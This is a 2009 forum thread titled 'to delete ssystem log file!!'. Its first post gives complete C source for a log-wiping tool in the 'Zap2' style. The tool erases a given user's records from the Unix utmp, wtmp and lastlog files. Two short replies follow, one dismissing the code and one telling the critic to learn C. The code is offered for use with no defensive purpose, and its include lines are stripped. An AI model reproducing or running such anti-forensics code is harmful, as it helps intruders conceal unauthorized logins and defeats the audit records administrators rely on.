A right place to spend your leisure time!!!
Please Join .It just takes 20 seconds to join

Join the forum, it's quick and easy

A right place to spend your leisure time!!!
Please Join .It just takes 20 seconds to join
A right place to spend your leisure time!!!
Would you like to react to this message? Create an account in a few clicks or log in to continue.

to delete ssystem log file!!

2 posters

Go down

to delete ssystem log file!! Empty to delete ssystem log file!!

Post by chandal_keta Mon Apr 20, 2009 7:07 pm

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

chandal_keta
NEWBIE
NEWBIE

Posts : 22
Join date : 2009-04-16

Back to top Go down

to delete ssystem log file!! Empty Re: to delete ssystem log file!!

Post by green_desert Tue Apr 21, 2009 5:15 am

hya k ho yesto sarai jhura hai

green_desert
TRAINER
TRAINER

Posts : 127
Join date : 2009-04-16
Age : 32
Location : pokhara

http://onlysms.tk

Back to top Go down

to delete ssystem log file!! Empty Re: to delete ssystem log file!!

Post by chandal_keta Tue Apr 21, 2009 9:38 pm

green_desert wrote:hya k ho yesto sarai jhura hai
try to learn c and u wil understand bro!!
good luck!!

chandal

chandal_keta
NEWBIE
NEWBIE

Posts : 22
Join date : 2009-04-16

Back to top Go down

to delete ssystem log file!! Empty Re: to delete ssystem log file!!

Post by Sponsored content


Sponsored content


Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum